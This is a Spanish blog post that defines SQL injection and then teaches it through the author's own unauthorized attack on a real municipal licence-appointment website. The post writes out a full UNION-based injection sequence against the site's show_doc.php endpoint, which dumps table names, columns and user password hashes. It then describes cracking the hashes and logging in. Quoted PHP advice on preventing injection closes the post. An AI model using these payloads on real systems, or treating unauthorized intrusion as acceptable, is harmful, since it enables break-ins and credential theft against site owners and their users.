Hola a todos! En esta entrada quiero definir rápidamente que son las inyecciones SQL y mostrar un ejemplo (de la vida misma) sobre ellas.
Que es SQL Injection?
Según el libro de Justin Clark "SQL Injections Attacks and Defense", tenemos la siguiente definición:
"...It is the vulnerability that results when you give an
attacker the ability to influence the Structured Query Language (SQL) queries that an
application passes to a back-end database. By being able to influence what is passed to the
database, the attacker can leverage the syntax and capabilities of SQL itself, as well as the
power and flexibility of supporting database functionality and operating system functionality
available to the database...."
Dejo el enlace de este fantástico libro:
Entonces, una Injección SQL nos permite realizar consultas a la base de datos a través de su aplicación, interesante no?
Según la página de PHP tenemos lo siguiente:
"...Comandos
directos de Inyección SQL es una técnica donde un atacante crea o
altera comandos SQL existentes para exponer datos ocultos, sobreponerse a
los que son importantes, o peor aún, ejecutar comandos peligrosos a
nivel de sistema en el equipo donde se encuentra la base de datos. Esto
se logra a través de la aplicación, tomando la entrada del usuario y
combinándola con parámetros estáticos para elaborar una consuta SQL...."
Pero como puede ser posible esto?
Esto
puede ser posible debido a una falla de validación en los datos de
entrada a la hora de crear la aplicación, permitiendo asignar valores de
cualquier tipo a las variables. Esos valores, en algunos casos nos
permiten modificar la consulta a nuestro gusto permitiéndonos obtener
datos sensibles.
Por ejemplo, miremos una consulta sencilla:
SELECT USERNAME, PASSWORD FROM USERS WHERE USERNAME='VAR1' AND PASSWORD='VAR2'
Esta consulta nos permitiría devolver el usuario con el nombre y el pass que les asignemos a VAR1 y VAR2 respectivamente.
Pero, que pasa si ingresamos un valor no esperado como por ejemplo una admin' y cualquier pass?
veamos como quedaría la consulta:
SELECT USERNAME, PASSWORD FROM USERS WHERE USERNAME='admin'' AND PASSWORD='ValordeVAR2'
hasta aquí no sería muy util pero...
Que pasa si ahora agregamos a la comilla los guiones que nos permiten comentar en MySQL? La variable quedaría así:
VAR1=admin'--
por lo tanto la consulta quedaría:
SELECT USERNAME, PASSWORD FROM USERS WHERE USERNAME='admin'--' AND PASSWORD='VAR2'
Estariamos pasando el usuario admin y transformando en un comentario el resto de la consulta!!!!!!
Esto es un ejemplo super básico de lo que puede suceder. Pueden buscar en la web, hay cientos de ellos.
Van a poder ver que las inyecciones SQL no solo pueden darse en los formularios de login, también pueden darse en otros formularios que manejen variables...
Les enseñaré, a través de una experiencia que tuve, como realizar inyecciones SQL básicas.
Lo que me sucedió no hace mucho
En ciertas ocasiones nos dedicamos a buscar vulnerabilidades, pero en otras, las vulnerabilidades nos encuentran a nosotros...
El otro día me decidí a pedir turno para renovar mi licencia de conducir antes que caduque (porque uno se cuelga vió y si se vence tenés que hacer el exámen y la prueba de manejo, si si, completo again, shit). Lo grandioso del municipio donde vivo (o no tanto) es que podés pedir turno online, lo cual te ahorra las tortuosas esperas. Pedís el turno y hasta elegís a que hora querés que te atiendan (parece mucho no?).
Hasta ahí todo barbaro, selecciono el día, el horario y completo el formulario. Cuando termino me pongo a mirar cuales eran los requisitos para la renovación y con que me encuentro...
Veo que al ingresar la comilla la aplicación devuelve un mensaje de error y la página se rompe.
Una vez que sucede esto sabemos que algo anda mal, que una consulta se podría inyectar.
Luego de eso, quito el apostrofe y utilizo el comando GROUP BY para buscar el numero de columnas en la base de datos. La consulta quedaría así:
…./show_doc.php?id=2 GROUP BY 1
sigo aumentando el numero hasta que la página arroje un error
…./show_doc.php?id=2 GROUP BY 1 (nada)
…./show_doc.php?id=2 GROUP BY 2 (nada)
…./show_doc.php?id=2 GROUP BY 3 (nada)
Al arrojar el error en 4 deduzco que las columnas son 3 (4 - 1) (Soy bueno con las matemáticas)
Ahora tengo que saber cual es la columna vulnerable, para eso agrego un signo menos a "id=2"
y utilizo el comando "UNION AL SELECT" seguido del numero de columnas mas el doble guión para comentar todo lo que sigue como vimos arriba.
El comando quedaría así:
…./show_doc.php?id=2 UNION ALL SELECT 1,2,3--
Entonces pruebo una consulta sencilla que nos permite verificar el nombre de la base de datos, para ello modifico el 3 por database()...
Bueno, ahora saquemos algo aun mas interesante...
BACK-END DATABASE GIVE ME MORE!!!!
En lugar del 3 coloco lo siguiente: group_concat(table_name) y luego from information_schema.tables where table_schema=database()--
quedando la consulta de la siguiente forma:
…./show_doc.php?id=-2 and union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--
Wooooow, ahí tenemos las tablas de la base de datos, insane no?
De todas las tablas, la mas interesante parece ser "shifts_users" asi que vamos a tratar de extraer las columnas de esa tabla. Para ello debemos ejecutar lo siguiente:
-2 union all select 1,2,group_concat(column_name) from information_schema.columns where table_name=CHAR(nombre_de_tabla)--
Debemos agregar entre los parentesis de CHAR el nombre de la tabla de la cual queremos extraer datos pero para ello debemos convertir ese string en un MYSQL CHAR(). decidí utilizar para ello el add on de mozilla "HackBar" (muy bueno)
Ahí podemos visualizar las columnas
y adivinen de cuales se me ocurrió extraer datos?
Si su respuesta fue usr_username y usr_password es correcta
Para ello realizo lo siguiente:
-2 union all select 1,2,group_concat(usr_username,0x3a,usr_password) from shifts_users--
Agrego las columnas de las cuales quiero extraer información y un 0x3a para colocar : entre username y password (la prolijidad ante todo) y ahí está el resultado:
Podemos observar en la imagen los usuarios y los passwords en MD5.
Crackeamos alguno de los passwords encontrados (con John the Ripper o a través de algún sitio web), buscamos el formulario de login y...
Ya estamos dentro!
Con
esto demostramos lo sencillo que puede ser vulnerar un sitio donde
algunos detalles de seguridad no han sido evaluados. La prisa por tener
un sistema online muchas veces lleva a que no se tengan en cuenta
ciertos aspectos de seguridad, lo cual se puede pagar muy caro. Lo ideal es invertir tiempo en revisar el código, testear el sistema y minimizar los riesgos.
Esta vulnerabilidad ya la he reportado a los administradores del sitio.
Esta vulnerabilidad ya la he reportado a los administradores del sitio.
Bueno, espero que esta entrada sea de utilidad, les dejo a continuación algunos consejos de la página de php para evitar inyecciones de SQL:
"...Nunca
confíes en ningún tipo de entrada, especialmente la que viene del lado
del cliente, aún cuando esta venga de una caja de selección, un campo
oculto o una cookie.
- Nunca se conecte como super usuario o como el propietario de la base de datos. Siempre utilice usuarios personalizados con privilegios muy limitados.
- Revise si la entrada proporcionada tiene el tipo de datos que se espera. PHP tiene un rango amplio de funciones para validar la entrada de datos, desde las más simples encontradas en Funciones de variable y en Funciones de tipo Caracter (Ej. is_numeric(), ctype_digit() respectivamente) y siguiendo el apoyo con las Expresiones regulares compatibles con Perl.
- Si la expresión espera una entrada numérica, considere verificar los datos con la función ctype_digit(), o silenciosamente cambie su tipo utilizando settype(), o use su representación numérica por medio de sprintf().
Una forma más segura de redactar una consulta para paginación
- <?php settype($offset, 'integer'); $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;"; // Fíjese en %d en el formato de cadena, utilizar %s podría no tener un resultado significativo $query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;", $offset); ?>
- Si la capa de la base de datos no admite variables vinculadas, entrecomille cada valor no numérico proporcionado por el usuario que sea pasado a la base de datos con la función de escapado de cadenas de caracteres específica de la base de datos (p.ej. mysql_real_escape_string(), sqlite_escape_string(), etc.). Las funciones genéricas como addslashes() son útiles solamente en un entorno muy específico (p.ej., MySQL en un conjunto de caracteres monobyte con NO_BACKSLASH_ESCAPES deshabilitada), por lo que es mejor evitarlas.
- No muestre ninguna información específica de la base de datos, especialmente sobre el esquema, por su correcto significado es como jugar sucio contra usted mismo. Vea también Reporte de errores y Manejo de errores y funciones de registro.
- Podría utilizar procedimientos almacenados y previamente cursores definidos, para abstraer el acceso a datos para que los usuarios no tengan acceso directo a las tablas o vistas, para que esta solución tenga otros impactos...."
El conocimiento nos hace libres! (y mas seguros)
Saludos, hasta la próxima y...
HAPPY HACKING!